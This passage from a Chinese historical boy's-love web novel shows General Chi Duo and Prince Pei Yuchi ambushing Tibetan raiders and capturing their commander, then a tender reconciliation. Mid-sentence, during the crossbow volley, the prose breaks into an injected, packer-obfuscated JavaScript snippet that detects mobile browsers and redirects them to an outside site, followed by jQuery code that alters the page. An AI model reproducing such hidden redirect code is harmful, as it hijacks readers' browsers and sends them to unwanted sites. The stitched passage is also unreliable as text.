迟铎见他神色不动,悄然上前半步,凑到他耳畔,压低嗓音唤了一声“景恒哥哥”。那声音贴着耳廓落下,气息温热,掠过颈侧,轻得发痒。仰头时,唇珠微微发亮,因先前被亲得微红,此刻随着呼吸轻颤,似无意,却偏生勾人。他咬牙低声许诺,似是当真豁出去般道,待事了回长安,若殿下还有兴致,他便再扮一回给殿下瞧。 三皇子殿下再如何自持,那一声“景恒哥哥”贴在耳边,也终究让他肩背微僵,呼吸沉了一分。他冷着脸抬手,将红帛自迟铎发尾解开,指尖绕过那缕低垂青丝,又重新束紧。“仅此一次。”裴与驰替他理好鬓发,掌心托住他下颌,拇指在那朱唇上重重按了一下,压得那点柔软微陷,警告道:“若再这般不知羞地勾我,回了长安,便罚小将军闭门静思,将《周礼》《仪礼》各抄十遍,连同起居言行,一并照着规矩来。” 迟铎:“……” 那罪名分明是他硬扣的。迟小将军舌尖抵了抵齿关,到底什么也没说。为了大局,忍了。 待两人回到寨中大厅,先前那群“姐妹们”才刚换回男装,领口还歪着,气都没喘匀。听闻刘义传令,众人齐齐一愣,随即又是一阵唉声叹气,骂骂咧咧地把刚脱下的花袄往身上套,有人袖子套反了还在那儿挣扎。一个一边扯着带子一边嚷:“老子这辈子都没穿过这么花的衣裳!”旁边那位正低头系腰带,鼻子里哼了两声:“少废话,待会儿别把腰带系反,丢脸丢到吐蕃人跟前去。” 一片鸡飞狗跳里,徐正义终于瞧清了靖武伯的真容。罗裙未换,发尾束着红帛,两鬓碎发垂下来,遮着些轮廓,只剩玉肌芙蓉面。长得乖得很。哪里像个将军?同殿下站在一处,倒真像是哪家深院里偷跑出来的小姐,偏生执意跟进山里头来。 徐正义看得喉头发干,心里发虚:怪不得要戴惟帽。啷个生得这样乖?这要是直接上阵,怕是刀还没出鞘,气势先软了三分。莫不是学那兰陵王,嫌自己太好看,专门罩层纱唬人?他正看得出神,忽觉袖子一紧,被人猛地一扯,整个人往旁边一个踉跄,差点把衣襟扯裂。 “干啥子嘛!”徐正义回头就骂,“老子这件是婆娘才缝好的,你扯坏了你赔哈!” 刘义这个龟儿子,手还没松,眉毛已经快挤到一处,眼珠子直往前头使劲瞟,看得人鬼火冒。 刘义瞪他一眼,压着嗓子骂道:“你要死哒?还盯?莫搞事咯!快去喊人准备!” 徐正义一愣,嘴还张着:“咋子嘛——” 刘义气得脸都黑了,往殿下那边飞快扫了一眼,又把人往后扯了扯:“脑壳进水哒?那是你能盯到看的?再看下去,等哈脑壳都要分家!” 徐正义这才回过味来,后脖子一凉,赶紧把目光挪开,连带着肩膀都缩了缩。刘义松开他,仍不放心,又偷偷瞟了殿下一眼,只见那位神色不动,目光却冷得很。他心口一紧,暗骂一句:这憨货真是要作死,命都不晓得要紧。 正热闹着,岗哨忽来禀报,说半山腰有一老妪携着孩童,步履蹒跚,正往寨门挪来。屋内那点插科打诨的热气,顷刻散尽。 迟铎道:“照先前定下的办。东侧只放老妪一人入寨。”他说话时已经转过身去,步子不快不慢,走到窗边。 他看向刘义:“叫哨兵盯紧,她接水时,是扶杯,还是探袖。至于那孩子,扣在门外,给两块饼子堵住嘴,别让他乱走。” 先前那位善口技的泼辣妹子名唤李章,此时已换上一身洗得发白的碎花袄子,袖口卷得整整齐齐,与刘义并肩立在寨门口,肩膀挨着肩膀,扮作一对要下山置办年货的寨中夫妻。李章抬手往发间插了根木簪,顺势往刘义胳膊上一靠,嘴里还骂着年货涨价,像是真要为柴米油盐发愁。 迟铎立在窗边,目光落在山道上那道蹒跚的身影上,低声道:“倒是真舍得,拿自家的老幼来探路。”他说这话时,手指压在窗框上,指腹微微泛白。他在塞北与匈奴周旋多年,胡人残忍之事见得多了,可每回遇着这等以妇孺试刀的行径,呼吸仍旧发紧。 裴与驰侧过头看他一眼:“狸奴,把那点怜悯收起来。”他目光在那被亲得微红的唇上停了一瞬,又移开,眉心轻蹙,“她纵是真老妪,也是吐蕃人的信子。她若安然离去,不过半个时辰,西侧断崖便会起兵。” 迟铎缓缓吐出一口气,道:“刘义,给水给粮,不必多问。让她瞧见寨中不过几人换防,余下都在偷闲。” 刘义那头应了一声,脸上已经堆起笑意,三步并作两步迎了上去:“哎哟,造孽咯,冻成哒这样,老人家快些进来,莫在风口里站哒。”他一边说,一边把身子往侧边让开半步,挡住院里一角。 老妪连声道谢,佝偻着身子进了寨门,手背枯瘦,抖得厉害,那双看似浑浊的眼却在院中一扫而过,停在肉架子上,又掠过墙根几名青壮,连水缸旁边晾着的木瓢都瞧了一眼。她没见弩机,也没见伏兵,只见一群穿着花袄的“妇人”在院里晾肉洗衣,三四个短褐青壮蹲在墙根,捧着粗瓷碗吃饭,连个像样的哨兵都不见。 与此同时,西侧断崖。孟知武伏在岩石后,身子压得极低,半张脸贴着冷石,手里扣着弩机扳机,指节因用力而泛白。他盯着下方山路,低声骂道:“这帮蛮子,连自家老娘都舍得拿来做饵。” 寨门外,那老妪带来的孩童却未入内。李章一边骂骂咧咧地收着背篓,一边斜着眼盯他。那小子原本低头啃饼,嘴上沾着碎屑,眼珠子却骨碌乱转,趁李章弯腰的当口,脚下一蹬便要往寨里窜,还没迈出两步,后领子已被人一把提住。李章手腕一翻,把人拎得脚尖离地,嘿嘿一笑,从袖里摸出一块甜糕,在他鼻尖前晃了晃,仍是那把尖细泼辣的嗓音:“毛毛乖些哦,里头正杀猪,血淌得满地都是。”那孩童脖子一缩,眼神闪了闪,嘴里的饼也忘了嚼,再不敢乱动。 不多时,刘义把老妪送了出来,递了件旧披风,又往她怀里塞了只水囊,手指顺势在她袖口处碰了一下,像是无意。老妪接过,低声道谢,与孩童对了个眼色。孩童先往前跑去,脚步飞快,看着像是闹脾气,转过山道拐角便不见了。老妪却慢慢走在后头,一路千恩万谢,走到山道转弯处,背影才彻底没入林影里。寨门在她身后缓缓合上,门闩落下时发出一声闷响。 刘义对身边的李章低声道:“这老人家,眼睛利得很,临走还把那几口晒肉的缸子数了一遍。外头的人,该是得着信了。” “由他们去报。”李章换回男声,抬手把碎花袄的袖口扎紧,顺势将腰带往里勒了勒,“那毛毛跑得跟兔子似的,顶多一炷香,断崖那头便要动了。” 阁楼之上,迟铎微挑眉梢,指尖在窗棂上轻轻一叩:“鱼已吞了半截钩,你那暗道里的落石,当真稳得住?” 裴与驰侧目看他一眼,鼻息里溢出一声极轻的笑意,手指在身后缓缓扣紧:“那机括是我亲自盯着设的,谁进去都别想出来。”他目光在裙摆上扫过, “迟小将军,待会儿冲阵时顾好自己,这身裙摆可不长眼。” 迟铎唇角一抬:“殿下担心错人了。”说罢抬手将繁复的裙摆往上一撩,露出里头束紧的靴口与绑腿,步子利落,转身便下楼。 西侧断崖,雾霭压低。 孩童报信的哨音穿林而过,细而急,落在吐蕃人耳里,正是“无碍”的暗号。伏了许久的先锋军齐齐抬头,领头之人侧耳听毕,手掌向前一压,示意起身。寨中果然如陈正衡那份旧防图所示,防备稀疏,看不出异样。那人抬手一挥,四十余名精锐贴着岩脊而下,身形贴壁,借阴影掩形,鱼贯钻入那条直通寨心的旧暗道。暗道狭长,幽深逼仄。吐蕃人压着呼吸,肩甲蹭着石壁,靴底擦过干土,沙沙作响。火折子被捂在掌心,只透出一点昏黄的光。待最后一人没入洞口,伏在上方密丛中的孟知武屏住气息,手指早已扣在机括绳上,腕上一绷,猛地往下一拽。 三处塌门几乎同时落下。 巨石顺着暗道轰然坠下,先是中段炸开一声闷雷般的巨响,紧接着入口处石门重重砸实。石屑四散,火光被震灭,暗道里骤然炸开惊叫与兵刃撞石之声,混作一团,有人被压在石下,惨呼声短促而急。片刻之后,只余石层压下的沉闷回响,在狭道里来回撞击。侥幸避开落石的吐蕃先锋退路已断,不敢回头,只能朝暗道尽头那处窄口猛冲。出口处,“砰”地一声闷响,暗门被几名吐蕃壮汉合力撞开,木屑飞溅。几个人翻滚着跌入空地,弯刀出鞘,刚一站稳,四下张望—— 原本蹲在墙根说笑的几名红袄“妇人”已同时起身,裙摆一甩,反手从背后抽出斧头,刃口在火光下一闪,照着最近一人的头颅劈下。几名短褐青壮也在同一瞬间起身,手中粗瓷饭碗往地上一掼,碗底碎裂,底下扣着的短弩顺势翻出,抬腕、扣机,一气呵成。弩弦震响,近身之距,不必瞄准。短箭入肉,血雾顿起,溅在院中晾着的肉架上。吐蕃先锋当场倒下一片,剩下几人怒吼着反扑,却被斧刃与弩箭压在空地中央,惨叫声彻底盖过了院中先前那点烟火气。 大堂之中,迟铎立在门内,“别杀绝。”他顿了顿,补了一句,“留三个,跑得最快的。” 那三名被有意放走的吐蕃探子连滚带爬冲出寨门,顺着山道一路狂奔。身后零零落落追来几支轻箭,箭头擦着他们的肩背飞过,力道不重,却足以催他们跑得更快。他们愈发笃定,寨中不过是些靠机关撑场面的山匪,那些“妇人”虽个个身形高大,使斧抡刀,也不过仗着暗算。三人跌跌撞撞赶到山腰集结之处,扑倒在主将马前,额头几乎磕在地上,气喘如牛:“头人!暗道塌了!里头尽是疯婆子和埋伏的山匪!他们把路堵死,是怕咱们冲进去!寨子里青壮不多!” 吐蕃大将勒住马缰,战马前蹄踏地,他垂眼看了那三人一瞬,嘴角一压,弯刀在手中慢慢转了半圈,寒光沿着刀锋滑过:“塌了暗道,不过自保之举。”他抬头望向云雾缭绕的断崖,手腕一抖,刀锋直指西侧岩脊,“传令!弃暗道,沿岩脊压上!” “山匪耍些机关算计,挡不住我吐蕃勇士的刀!” 阁楼之上,风卷衣摆。裴与驰负手而立,目光落在山腰那条逼仄的岩脊上。吐蕃主力果然弃了暗道,沿着西侧险路层层压上,人马挤作一线,前队已过弯口,后阵尚未转出山腰,整支队伍卡在最狭窄的一段,进退不得。 “倒是听话。”他低声道,“真往这条路上来。” 断崖后方,孟知武伏在石后,胸口贴着冰冷岩面,目光死死钉在寨楼方向。战术早定,以旗为号。吐蕃人仍在往前挤,岩脊被山势逼得只容一线,前队已踏过弯口,后阵还卡在山腰,阵形被拉得细长,最前头的几骑马蹄踏碎浮石,已入弩机射界。 寨楼之上,黑旗缓缓举起。孟知武喉头一紧,呼吸停在喉间。旗面在风中一展,忽然翻落。 他猛地挥手,声音压得极低却透着狠劲:“放!”六架重型床弩同时震响,弦声裂空,儿臂粗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239962|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨箭破雾而下,自高处直贯敌阵。第一排吐蕃兵连人带马被当场掀翻,巨箭穿甲入骨,钉入岩石,马嘶声骤然拔高。后队躲闪不及,被前方尸身与惊马冲撞,脚下浮石滚落,几人失足翻滚坠崖,惨叫声顺着山谷一层层回荡。岩脊本就狭窄,一轮弩箭落下,阵形被生生截断,前队被压在箭雨之下,后阵被堵在弯口之外,前后不得相顾,刀柄撞刀鞘,马蹄踏马蹄,乱成一团。 大堂之内,迟铎正抬头望向寨楼。 黑旗翻落。 他迈步便走,裙摆拖在脚下,刚跨出门槛,那层层叠叠的布料猛地缠住靴尖,脚下一滞,身形前倾,险些当众跌个趔趄。他肩背一绷,手掌已按住门框才稳住身形。 “啧。”裴与驰就惯会咒他。 迟铎低声骂了一句,反手抓住那碍事的裙摆,五指一收,用力往外一扯,一声裂帛骤响,布料自膝下生生撕开。碎布落地,长靴与绑腿露出,脚步顿时利落。 院中那几匹平日里拉磨、蔫头耷脑的马,本是徐正义他们当初从官府马厩里硬生生抢回来充数的战马。此刻闻着风里卷来的血腥气,忽地齐齐昂首,鼻翼张开,嘶鸣声压过院中人声,四蹄在青石地上躁动刨踏,那股被压了许久的战场野性一瞬翻起。迟铎几步冲到马前,单手抓住鬃毛,脚下一蹬,身形已翻上马背。没有马鞍,也无马蹬,他膝弯贴紧马腹,身子前伏,重心压低,缰绳绕在腕间,手腕一抖,战马便顺势窜出。人与马几乎贴成一线,动作利落干脆,像是从未穿过那身罗裙。 塞北草原上躲匈奴暗箭时练出来的本事,从来没丢。 擒贼先擒王,他要活的。 断崖之上弩声再起,吐蕃主力被箭雨压得抬不起头,盾牌在头顶连成一片,马匹在窄脊上躁动挤撞,阵脚已乱。就在此时,寨门轰然大开。 一声凄厉马嘶,一道红影贴地掠出。 迟铎骑在那匹方才还在拉磨的战马背上,残破的裙摆被风卷起,翻卷在身后,边角已染血,远远望去,如一面被扯裂的旗。他整个人低伏在马背,胸口几乎贴着鬃毛,手腕压低,缰绳绕在指间。吐蕃大将正抬手喝令亲卫举盾抵挡头顶弩箭,忽觉侧翼风声骤近,马蹄踏石声与呼吸声几乎贴到耳边。他猛然回头,只见一团红影顺着地势卷来,贴着岩脊下缘疾行,快得连马上之人的轮廓都难分清。 “拦住他!快——!”大将的吼声未落,迟铎已冲入阵中。 他不与小卒纠缠,马身一偏,贴着盾牌边缘掠过,弯刀自头顶劈下时,他身子往马腹一伏,刀锋擦着他发顶劈空,他手中短刃顺势自下而上挑出,刃口贴着铠缝滑入,一名亲卫侧腹当场开裂,闷哼未出便翻下马去。拉磨的战马此刻稳得出奇,四蹄踏碎石不乱,迟铎借它矮壮的身形在人群缝隙间穿行,刀锋不求宽广,只取要害,膝侧、腋下、颈侧,一触即退。他不要人头,他只要首领。 红影逼近,吐蕃大将终于看清来人。乌发披垂,以一缕红帛束在脑后,发尾被风卷起,抽打在肩侧。身上是损毁的罗裙,残布翻卷,贴着马腹疾行。血色溅在裙角与靴面,反衬得那张脸愈发白净。圆眼,高鼻,唇色鲜红,远远望去,竟真像个误闯战场的贵女。可下一瞬,他抬眼,眼睫压下,眸色很冷,原本微翘的唇角缓缓抿成直线。风掀开碎发,露出清晰的下颌线,那点温软在一息之间收尽,只剩冷硬的线条。 两马交错。 吐蕃大将举刀横扫,迟铎却已借马势腾身而起,足尖在马背一蹬,整个人顺着刀势翻起,红衣在半空翻卷。他肩背前倾,合身撞上去,手肘狠狠顶在对方肩甲下缘。吐蕃大将连人带甲被掀翻在地,滚入乱石,铠甲磕在石面上发出沉闷一响。 迟铎落地比他更快,他膝盖重重顶住大将胸口,借势压下去,短刃已贴在咽喉。吐蕃大将尚未喘匀,喉结便抵上冰冷刃锋。 “都给我住手!” 迟铎抬起头,乌发散落,几缕贴在染血的面颊上。他呼吸急促却不乱,手腕稳得出奇。火光映着那张脸,玉色未改,圆眼微垂,目光直直盯着人群,唇线绷紧,没有半分笑意。 “主将已擒。” 刀锋往下再压一分,刃口陷入皮肉,血线顺着锋面缓缓滑下。 “降者不杀。” 话音未落,弓弦骤响。 那名绕到迟铎身后的吐蕃少年才举起弯刀,刀锋刚抬过肩头,箭已破空而至,自他背后贯入,胸前透出半截箭镞。少年踉跄一步,刀当啷落地,嘴里嘶喊出一句吐蕃话:“阿爸——!”声音尚未落稳,人已直挺挺向前栽下。 那一箭,是裴与驰。 大堂里马嘶乍起时,他在阁楼上便知那只狸奴又不听话。黑旗方落,阵中却不见那抹红影,佩刀还孤零零搁在磨旁。裴与驰连眼都未眨,脚下一踏栏杆,身形已越出楼外,衣摆在风里翻起一线弧光。落地时膝弯一屈卸力,顺手抄起佩刀,刀鞘尚未完全握稳,另一手已扯住那匹拉磨的战马鬃毛,足尖一蹬,翻身上背。缰绳在腕间一绕,他手臂一抖,马嘶裂空,前蹄扬起,直撞寨门。 他骑得极快,马速尚未完全稳住,弓已在手。三指一搭,两箭并发,弦响未绝,前头两人应声翻落,箭势穿甲入骨,去势不减。弓弦尚在回震,他已反手将弓掷向身后,亲卫抬手接住的同时,他单手抽剑,剑锋出鞘,寒光贴着马鬃一闪。他借马势猛然一掷,长剑破风而去,直入一人面门,剑身透颅,余力未尽,将后头一骑一并带翻,二人滚作一团。 马蹄踏血,碎石飞溅,裴与驰勒缰至迟铎身侧,战马横身挡在他与侧后之间。他居高临下望着地上的人,呼吸沉而短,指节绷得发白。脸色冷得发紧,一句话也不说。 迟铎膝盖仍压着主将,短刃贴在咽喉,抬头对上那目光。原本还微微翘着的唇角一点点收了回去,喉结轻动,终是抿住唇,垂下眼去,再不敢看。 一柄长刀连着刀鞘掷来,落在他脚边,鞘尖磕在石上,闷声一响,刀身顺势滑出半寸,又停住。裴与驰仍旧不语。 孟知武已带人自断崖侧压下,甲胄擦石作响;文彭从东侧合围,长枪列阵,枪锋在雾气里排成一线,弩手前移,弦上箭光微冷,将吐蕃残部逼在岩脊与山道之间。阵势一寸寸收紧,仍有人负隅顽抗,弯刀乱舞,刀刃磕在枪杆上迸出火星,嘶喊声搅作一团。 迟铎这才想起,自己出阵时只带了短刃。他原想着生擒,短刃贴身更利索,这身裙摆已够碍事,长刀拖着反倒累赘,一人一骑,向来足够。至于方才那些偷袭之人是谁替他挡下的,他目光在地面落了一瞬,终究没有往马背上去看,只悄悄伸了靴尖,将那柄带鞘的刀往自己这边勾了勾。刀鞘在石上挪动,发出极轻的一声摩擦,他的动作也轻得很,像是生怕惊动谁。 马背上那道目光还盯着。 迟铎偏偏不抬头,只将短刃往吐蕃大将喉间又送近一线。刀锋贴着皮肉,血线沿着刃口慢慢淌下,滴在碎石上。他声音压低:“叫你的人放下兵器。”刀锋未退半分,“再拖下去,你就不只死那一个儿子。”吐蕃大将喉头滚动,胸口被膝顶着,呼吸一急一缓。迟铎手上力道不松,手腕稳得发僵,视线死死钉在对方脸上,一寸也不肯偏开。“下令。”他再逼近一分,刃口压出更深的一道血痕。 片刻之后,那嘶哑的吐蕃语终于响起,声音短促而急。岩脊之上,兵器落地声零零碎碎传开,先是一两声,当啷,继而成片。迟铎听见动静,肩背这才松了一瞬,随即又绷回去,像是怕被人瞧出。他仍旧不肯抬头,只盯着那吐蕃大将,“早喊不就好了。” 吐蕃人退路早绝,就算不喊,也撑不了多久。可大将这一声令下,胜负已定,人被生擒,伤亡不多,场面终究算得体面。如此一来,方才那点横冲直撞,便有了说法。 迟铎握着刀,指节微微泛白,终究没敢抬头,只把刀锋继续稳在对方的脖颈处,在心里替自己分辨:终究没出岔子,就……消消气吧。 他没敢说出口。 25. 千千结 文彭见局势已定,忙唤人上前,将那位吐蕃大将自自家尊贵的主将膝下接过,手脚利落地反剪双臂,绳索绕三圈又打死结,拖着往后押去。文彭自觉行事体贴周全,是个称职的下属。却不知自家主将膝下一空,短刃收回,掌心还带着血温,心口便跟着一沉。 完了,连个赖在地上的由头都没了。 马背上那位,终于动了动。 “上马。”两字落下,喜怒难辨。 迟铎如蒙大赦,忙上前去。他原想着顺势借那人一臂之力翻身上马,指尖只消轻轻一触,便可贴近几分,说句软话讨个台阶。手尚未抬起,裴与驰却已将缰绳往里一带,目光直视前路,连半分侧顾都未曾施舍,手更是不曾伸出半寸,仿佛身后之人不过清风一缕,与他无干。迟铎心里一凉,指尖悬在半空,终是悻悻收回。心知他气意未消,此时若再作态,只怕火上添薪,脚下一点,身形利落翻上马背,动作干净爽快,倒真像只收了爪子的狸奴,安分得很。 方一贴近,他便自后双臂环住那人腰身,额角轻抵在肩背,尚未开口,便听头顶一声冷笑落下:“迟小将军既已练就人马合一的本事,还抱着我作甚?山路虽险,想来你也摔不下去。” 迟铎反倒松了口气。还能出言相讥,尚有回旋余地。若是一声不吭,那才叫人心里发虚。他索性抱得更紧些,额头在那人背上轻轻蹭了蹭,呼吸透过衣料,低声道:“累了,借殿下肩头靠一靠。” 裴与驰不曾回头,手中缰绳却略收,指节绷得分明,“不敢当。迟小将军孤骑入敌阵,生擒敌首,威名远播,何须旁人做靠?既有这等金石之躯,想来累字,也不该落在你身上。” 迟铎听他句句逼人,锋芒递进,竟无一处可插言回转,只得将舌尖抵住齿后,把那口辩白生生咽下,心里暗骂:这人若不生在宫墙之内,凭这张利口,也能在市井间开坛设席。 他索性不与之争锋,身子往前贴去,脸颊隔着衣料轻轻一蹭,下巴顺势往那人肩窝里钻,语气软得几乎带了尾音:“我错了,景恒哥哥……”唇沿着衣领边缘轻轻落下,隔着布料蹭到那段温热的颈侧,气息细细缠过去,“方才不过是一时兴起,下回……再不敢了。”那哥哥二字软得很,带着一点羞意,又带着一点明知故犯的讨饶。 话说得服帖,手却早已扣紧他腰间革带,仿佛一松手,这人便真把他丢下马去。 裴与驰不应。 迟铎索性整个人贴上去,脸埋在他背上,额角隔着衣料轻轻蹭了一下,像猫儿认错时偏要拿尾巴去缠人。“我不过仗着你在……”他说到“仗着”二字,自己都觉理亏,声音便低了几分,“总归景恒哥哥会护着狸奴。” “别不理我。” 这句出口,已不见半分小将军的锐气,只剩一点软软的央求。 马终于动了。 裴与驰虽未再挤兑,却也不曾回握。往常共骑,他总是一手执缰,一手覆在迟铎手背上,或轻或重地摩挲几下,如今却只管前路,不理身后贴着的温软。 迟铎心里暗算,这气大约散了三分。可既散三分,余下七分,难不成真要他自己熬着?认错认了,软话也说了,这人偏还端着。越想越觉不是滋味。他索性把额头往他肩上一靠,声音低低的,带着点娇气:“手疼。”说着便将那只手举到他眼前晃了晃,指尖微蜷,意思再明白不过—— 往常你都是要握着的。 裴与驰仍不应。 迟铎眉头一皱,语气拔高半分:“方才那一下摔得狠,本就疼,你还不理我。”话说得理直气壮,仿佛不打招呼闯敌营的不是他,倒是裴与驰失了照看。他不再多言,手却悬着不放,倔强地等人来握。 “迟小将军不是刀枪不入么。”裴与驰终于开口,“区区一摔,也值得喊疼。” 话音未落,缰绳已微松,马步放缓。手忽然自身侧横过,将迟铎的手捉住,掌心向上摊开。裴与驰垂眼一看,眉宇间的冷意霎时敛去几分。掌心果然蹭破了一层皮,薄薄一片,泛着浅粉,细细血珠沿着纹理渗出,在白净肤色上分外显眼。他拇指沿着伤处边缘压过,力道放轻,“哪处疼?” 迟铎见他终究握了手,心口那点郁气顿时散去大半,却仍带着点小气性,指尖往他掌心里更深地塞进去:“殿下不握着,就都疼。” 裴与驰将他手腕翻过来细看,指腹按过筋络,又捏了捏关节,确认无碍,才把那只手收回自己掌中,贴在腰侧护着。嘴上却依旧不肯饶人:“下回再敢如此,疼的便不止手。”话里带刺,掌心却贴得更实,连半分松动也无。 狸奴惯会顺杆爬,这边才退了半步,他便挨上来嘟囔:“你怎地这样凶,也不夸我一句。马技也好,武艺也罢,总该夸一夸罢。” 裴与驰闻言侧目,目光自他眉梢掠至唇角,只一瞬。 迟铎立时敛声,方才的娇气收了三分,眼睫低垂,语调软下来:“我那不过雕虫小技,哪里敢与殿下争锋。方才百步穿杨,箭箭入心,我是真心服气。”他说着又偷瞧他一眼,见那人神色未动,便干脆把话说尽,“比试算殿下赢了,我认输。回长安后,你教我,可好?” 裴与驰没应他的软话,只道:“认输倒快。”语气不重不轻。话落,他握着迟铎的手并未松开,反而稍一用力,将人往前带了带。迟铎整个人贴上来,胸膛相抵,呼吸透过衣料挨在一处,连心跳都隐约可闻。 片刻之后,他才补上一句:“回去再说。” —— 到了寨门前,裴与驰先翻身下马,随即回身,手臂一伸,不由分说将迟铎打横抱了下来。脸色依旧不见半分和缓,抱着人的力道却紧了些,显然记得方才那句“手疼”。 院中人闻得马蹄声,纷纷抬头。徐正义与刘义正和将士清理吐蕃人的尸首,见人回来,迎了出来。 迟铎往日若被这样抱着,早该脸热挣脱,偏这一回却安安静静伏在怀里,半点不动。反倒抬手搂住那人颈侧,仰头直直望着他。眼底那层寒意早已收尽,只余一层湿意。断崖上擒敌的少年将军已然退去,只剩一只闯了祸、却还要黏人的狸奴。 徐正义见状,心里先是一紧。他原以为靖武伯必是伤得不轻,才叫殿下如此抱着,待走近细看:裙摆虽裂,衣襟染血,发丝散乱,面上还带着尘灰血痕,那气色却不似重伤,反倒唇红齿白,眸光清亮。更怪的是,他靠在殿下怀里,神情半分不见抗拒,竟顺从得很,眼底还带着依赖。 徐正义瞧着两人眉眼间那点官司,心里直打鼓:啷个回事哦?莫不是方才杀得狠了,把眼睛都杀花了?先前排阵布势、马背断敌的,分明是将军;如今被人打横抱着,啷个看啷个像个小娘子。生得恁个乖,脸上抹了血都压不住那点好看,偏还缩在人怀里,一点脾气都没得。 更怪的是,这抱法……男人之间,哪有这般抱的? 啷个看啷个别扭,啷个看啷个不对头。他挠着脑壳,眼睛总往那边飘,想挪开又挪不开。 一旁的刘义看得牙根发酸。殿下这点家务事,他偏回回都撞个正着,一遭也没落下。见自家大哥又直勾勾盯着靖武伯发愣,那副憨样子摆在脸上,刘义魂都快飞了,心里直骂:这脑壳里装的怕不是石头。 “徐当家,可有药酒?”裴与驰抱着人立在门前,神色如常,丝毫没有将人放下的意思,“靖武伯手伤了。” “有有有!”刘义忙应声,一把拽住徐正义,“哥,走,拿药酒去。” 徐正义猝不及防被拖走,心里越发糊涂,暗骂刘义这龟儿子莫不是被吐蕃人的弯刀吓傻了,拿个药酒还要两个人一道。他边走边压低声音嘀咕:“你觉不觉得他俩怪得很哦?手疼怕下马碰着也说得通,如今都到平地上了还不肯放手,好像伤的是脚板一样……这关系也忒黏糊,比我跟婆娘都黏。” 刘义听得头皮发麻,压着嗓子骂:“你莫再看!嫌命长哒?殿下抱谁,是你能嚼舌的?” 徐正义还小声嘟囔:“我不过随口……” 刘义只差没真去捂他嘴。 迟铎却半点不理众人目光,只把下巴往裴与驰肩上一搁,“你放我下来罢。”嘴上这样说,手却仍环着,分毫不松。 裴与驰垂眼看他一瞬,未应,只抱着人径直往内走。 待两人火急火燎抱着药酒回来,裴与驰端坐主位,迟铎在侧,衣襟整齐,神色如常,先前那点温香软玉的缱绻气息收得干干净净,仿佛从未有过。 徐正义偷觑一眼,心里暗自宽慰:果真是看走了眼,定是方才杀蛮子杀成对眼了。 裴与驰衣袖挽起一截,垂眼替迟铎解开护腕。指腹掠过掌心,动作极轻,面上却仍是一副冷淡模样:“这里疼?” 迟铎不眨眼地盯着俊脸,尾音拖得软软的:“都疼~” 徐正义只觉自己这对眼的毛病又犯了,眼前一阵发花,忙把视线挪到房梁上去,数那几根梁木有几道裂纹。刘义递药酒时,头低得几乎要埋进胸口,手都不敢抬高。 裴与驰接过药酒,掌心搓开,酒气腾起,他忽然按住迟铎手腕,力道不轻。 “嘶——”迟铎抽了口气,人往前一倾,肩头贴上他胸口,整个人几乎倒进他怀里。 “忍着。”声音依旧冷淡,听不出半分心软,可拇指沿着擦痕揉开,力道比方才轻了不知多少。 迟铎歪着头看他,唇角到底压不住,悄悄翘起一点弧度。 果然,景恒哥哥还是舍不得。 徐正义憋得难受,终究没忍住,悄悄挪到刘义身侧,用气声问:“这靖武伯……真伤得这般重?我看他气色好得很嘛。” 刘义几乎是从牙缝里挤出几个字:“你莫要再讲话了!再讲下去,你就真要伤得重哒!” 徐正义一凛,立时闭嘴,连呼吸都放轻,恨不得把自己缩进墙缝里。 刘义是真怕了这憨大哥,再让他瞧两眼,指不定就瞧出什么不该瞧的。索性把人赶去后院清理吐蕃人的残局,自己却也不敢走远,只在一旁站着,坐也不是,立也不是。末了,他干脆背过身去,一双眼死盯着寨门外的山道,像是在替人望风。身后偶尔传来衣料摩擦的细响,他都当作风声,死活不回头。 尤其那两只交握的手,他是打定主意—— 这辈子都当没看见。 幸而此时孟知武归来复命,甲未解,靴底尚带血色,抱拳道:“禀殿下,靖武伯,吐蕃大将已押入寨内石屋,其余人尽数反剪,缚毕。清点残部,约一千五百余人,老幼妇孺百余,余者可战不过千二百。” 说到此处,他眉头紧锁:“属下不解。吐蕃不过千余残部,陈正衡当初领五千兵马,竟数阵皆败,还折损八百,何至于此?” 刘义在旁低声咕哝:“五千打千把人,还叫人压着走,脸都丢到山沟里去了。” “五千?”裴与驰将药瓶搁回案边,“忠县守军不过千余。首战时,他带的只是本县兵马。他大约仍照旧例,以为不过山匪作乱,巡山设阵,应个差事便可复命。”目光掠过刘义。刘义心里一跳,想起寨里那几匹拉磨的战马,摸着脑袋不敢吭声。“及至尸首抬回,一字排开,刀口弧深,斜切入骨,创面齐整。”裴与驰缓声道,“那不是柴刀,是骑战弯刀。” 迟铎正把玩着那柄染血的短刃,见裴与驰目光扫过来,手腕一翻,刀身已顺着靴筒滑入,生怕罪证碍殿下眼,再惹出未消的火气。藏妥后,人也坐直,神色端正,接话道:“首败在轻敌。可那一败,便将退路堵死。若当时改口,说来者非匪而是吐蕃正骑,便是误判边警,致关隘失守,罪名远重于一败。首战既折数百,再报边警,便是自陈失职。” 裴与驰瞥他一眼,见那短刃不见踪影,神色才稍稍缓和,唇角却浮出一抹冷意:“为保头上乌纱,他只能瞒。一步瞒,步步瞒。为圆此谎,竟敢借吐蕃之刀,杀我灭口。” 孟知武听得心惊,又问:“纵使瞒报匪患,后来圣上下旨调兵入蜀,诸县拼凑亦有数千,既已多番交手,知是吐蕃骑兵,为何仍节节败退?” “数千?”裴与驰翻开军册,指尖点在密密名册之上,“名在册上,未必尽在营中。州县守军本就寥落,吃空饷为常,额兵多虚。平日无战,军粮衣甲层层盘剥,操练荒废已久。” 他合上军册,往案上一掷。“账面五千,能披甲列阵者不过两三千。余者多是临时拉来的团练乡勇。兵不识将,将不识兵,阵前尚可勉强列队,夜里一惊,鼓角错乱,号令不达。再遇这一千余杀人如麻的吐蕃精骑借山势突入——”他目光落在孟知武身上,“破前锋,扰中军,炸营溃散,不过转瞬。” 堂中一时无声。兵书教人排阵,却不教人如何以十存其三的空营之众,去挡虎狼。 迟铎收敛神色,道:“孟校尉。” 孟知武立时抱拳:“属下在。” 